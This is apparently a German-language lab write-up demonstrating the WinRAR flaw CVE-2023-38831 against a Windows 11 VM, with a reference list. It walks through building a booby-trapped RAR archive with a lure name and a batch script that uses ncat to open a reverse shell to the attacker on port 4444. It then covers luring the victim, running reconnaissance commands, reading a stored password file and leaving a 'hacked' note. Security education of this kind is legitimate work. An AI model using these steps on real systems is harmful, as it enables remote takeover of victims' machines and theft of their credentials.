
Eine PoC-Demo zu CVE-2023-38831
Ein POC-Demo zu CVE-2023-38831
Kurzbeschreibung der Schwachstelle
Wie funktioniert die Schwachstelle?

Erster Teil der Ausnutzung
Der erste Teil findet auf dem Angreifer-Rechner statt, damit die Ausnutzung beginnen kann.

1) Zuerst müssen wir den Exploit-Ordner erstellen, der den bösartigen Anhang, die „pdf“, den Python-Exploit-Code und das Bat-Skript enthält, mit folgendem Befehl: „git clone https://github.com/HDCE-inc/CVE-2023-38831“

2) So sieht der Ordner aus, bevor eine Ausnutzung stattfindet,

3) Ermitteln der IP-Adresse des Kali-Rechners über ifconfig:

4) Dann ändern wir das vorhandene Skript in script.bat auf die folgende Befehlszeile (obiges Bild):
„start“ startet den Befehlszeilenprozess, „/min“ minimiert die Eingabeaufforderung im Hintergrund, ncat stellt eine Verbindung zur Angreifer-IP-Adresse über Port 4444 her, und -e cmd.exe führt die Befehlszeile in der Eingabeaufforderung aus.

5) Dies zeigt den folgenden erklärten exploit.py-Code:
1 bezieht sich auf die Benutzereingabe für den Köderdateinamen (document.pdf), den Skriptdateinamen (script.bat) und die Ausgabe, wie das Opfer die RAR-Datei sieht – in diesem Fall speichern wir sie als getrich.rar.
2 bezieht sich auf die Überprüfungen, ob vorhandene Dateien im CVE-2023-38831-Ordner auf dem Kali-Linux-Rechner mit der richtigen Namenskonvention existieren. Bei falscher oder doppelter Benennung wird eine Fehlermeldung ausgegeben und das Programm gestoppt und beendet.
3 bezieht sich auf das Erstellen eines temporären Dateiverzeichnisses mit os.mkdir(), um die neu erstellte Datei zu speichern, bevor sie in ein Archiv komprimiert und als Arbeitsbereich verwendet wird.
4 bezieht sich auf eine Kopierzeile, shutil.copyfile, um sowohl die Köder- als auch die Skriptdatei in ihre jeweiligen Verzeichnisse innerhalb von „tmp“ zu kopieren, um sicherzustellen, dass alle notwendigen Dateien korrekt und vorhanden sind, bevor mit dem nächsten Schritt fortgefahren wird. Der nächste Schritt, shutil.make_archive, erstellt ein Archiv aus dem „tmp“ namens „tmp.zip“, das alles im „tmp“-Ordner enthält.
5 bezieht sich auf den Erfolg der Ausführung des obigen Codes und die erfolgreiche Erstellung einer RAR-Datei als Exploit über die Benutzereingabe von Köderdatei, Skriptdatei und Ausgabedateinamen.

6) Nachdem wir unsere IP-Adresse ermittelt und das Bat-Skript geändert haben, können wir nun die bösartige „.rar“ erstellen, indem wir den Befehl „python exploit.py“ ausführen.
Die exploit.py erfordert die Benutzereingabe in drei Feldern: den vorhandenen Köderdateinamen (document.pdf), den zuvor geänderten Skriptdateinamen (script.bat) und einen Ausgabe-RAR-Dateinamen, um das Opfer zum Herunterladen und Klicken auf die Datei zu verleiten. Dieser benötigt einen passenden Namen – in diesem Fall haben wir „steps-to-generate-income.rar“ verwendet. CVE-2023-38831 ist dann bereit, den Opfer-Rechner auszunutzen.
Zweiter Teil der Ausnutzung
Der zweite Teil findet sowohl auf dem Kali-Rechner als auch auf dem Opfer-Rechner (einer Windows 11 VM) statt.

1) Wir erstellen entweder eine bösartige Website oder senden den Anhang an das Opfer.
Auf der linken Seite führen wir „python -m http.server 8080“ aus. Dieser Befehl dient dazu, zu erfassen, welche IP-Adresse auf diese bösartige URL zugreift, sodass wir die Opfer-IP-Adresse kennen, und horcht auf verschiedene HTTP-Anfragen wie „200“ von einer bestimmten IP-Adresse. Auf der rechten Seite wird das Opfer zu dieser IP-Adresse gelockt und zum Herunterladen der Datei „steps-to-generate-income.rar“ verleitet.

2) Sobald das Opfer erfolgreich dazu verleitet wurde, die bösartige Datei „steps-to-generate-income.rar“ herunterzuladen, wird angezeigt, welche IP-Adresse die Datei zu welchem Zeitpunkt heruntergeladen hat. Aus diesen Informationen können wir die Opfer-IP-Adresse ermitteln.

3) Dann richten wir auf dem Kali-Rechner einen ncat auf Port 4444 ein, da Port 4444 mit demselben Port synchronisiert ist, der in script.bat geschrieben steht und auf dem Opfer-Rechner ausgeführt werden soll.
Sobald das Opfer auf die document.pdf klickt, führt das bat.script die Befehlszeile aus und minimiert sie sofort im Hintergrund. Dies ermöglicht eine Hintertür-Verbindung für den Angreifer.

4) Wir können dann verschiedene Befehle auf dem Opfer-Rechner ausführen, wie z. B. „C:\Windows“ und dann „dir“, um alle verschiedenen gespeicherten Exe-Dateien aufzulisten.
Hier sind drei Befehle, die auf dem Opfer-Rechner ausgeführt wurden:
Erster Befehl (markiert als „1“): „net user“, um zu sehen, wie viele Konten vorhanden sind – daraus schließen wir, dass es nur ein Konto gibt: W11.
Zweiter Befehl (markiert als „2“): „systeminfo“, um mehr über den Opfer-Rechner und die Berechtigungen des Benutzers zu erfahren – in diesem Fall handelt es sich um Administratorrechte.
Dritter Befehl (markiert als „3“): Navigieren durch zufällige Ordner – in diesem Fall führen wir Befehle wie „C:\Users\W11“ und dann „dir“ aus, um die Datei- und Ordnertypen zu sehen, dann „C:\Users\W11\Documents“ und dann „dir“, um den Inhalt des Documents-Verzeichnisses zu sehen. Glücklicherweise hat dieser Benutzer sein Passwort in einer notepad.txt gespeichert. Wir geben dann den Inhalt dieser Notepad-Datei in der Befehlszeile aus, um die Details preiszugeben: „type secret.txt“. Das Ergebnis zeigt, dass wir mit dieser Befehlszeile Dateien auf dem Opfer-Rechner lesen, schreiben und bearbeiten können, und weitere Aktionen wie das Platzieren eines Keyloggers sind möglich, um den Opfer-Rechner verwundbarer zu machen und mehr sensible Informationen preiszugeben.

5) Schließlich können wir eine Notepad-Datei auf dem Desktop des Benutzers erstellen, indem wir diesen Befehl ausführen:
„echo "You've been hacked, please go to testingwebsite" > C:\Users\W11\Desktop\hacked.txt“ – die hacked.txt wird auf dem Desktop des Benutzers erstellt, um dem Opfer zu zeigen, dass sein Rechner ausgenutzt wurde.
Deland-Han. (2014, February 19). Dynamic link library (DLL) - Windows Client. Microsoft Learn. https://learn.microsoft.com/en-us/troubleshoot/windows-client/setup-upgrade-and-drivers/dynamic-link-library
Gillis, A. S. (2023, September 26). principle of least privilege (POLP). Security. https://www.techtarget.com/searchsecurity/definition/principle-of-least-privilege-POLP
GmbH, W. (n.d.). WinRAR 7.00 Final released. WinRAR Latest News. https://www.win-rar.com/singlenewsview.html?&L=0&cHash=c5bf79590657e32554c6683296a8e8aa&tx_ttnews%5Btt_news%5D=232
Lab, S. (2023, September 26). Analysis of CVE-2023-38831 Zero-Day vulnerability in WinRAR. Penetration Testing and CyberSecurity Solution - SecureLayer7. https://blog.securelayer7.net/analysis-of-cve-2023-38831-zero-day-vulnerability-in-winrar/
Patch management: benefits and best practices | Balbix. (2022, October 22). Balbix. https://www.balbix.com/insights/patch-management-benefits-and-best-practices/
Research, U. T. (2023, November 17). WinRAR CVE-2023-38831 Vulnerability: Malware Exploits & APT Attacks. https://www.uptycs.com/blog/cve-2023-38831-winrar-zero-day
Slavin, B. (2024, March 18). Common DMARC problems faced by users | DMARC Report. DMARC Report. https://dmarcreport.com/blog/common-dmarc-problems-faced-by-users/
ThreatLocker. (2023, September 11). WinRAR Remote Code Execution. ThreatLocker. https://www.threatlocker.com/blog/winrar-remote-code-execution
Traders’ Dollars in Danger: CVE-2023-38831 zero-Day vulnerability in WinRAR exploited by cybercriminals to target traders. (2023, August 23). Group-IB. https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
Vulnera. (2023, November 16). DarkCasino: a new APT threat leveraging WinRAR vulnerability - VULNERA. VULNERA - Vulnerability Management. Simplified. https://vulnera.com/newswire/darkcasino-a-new-apt-threat-leveraging-winrar-vulnerability/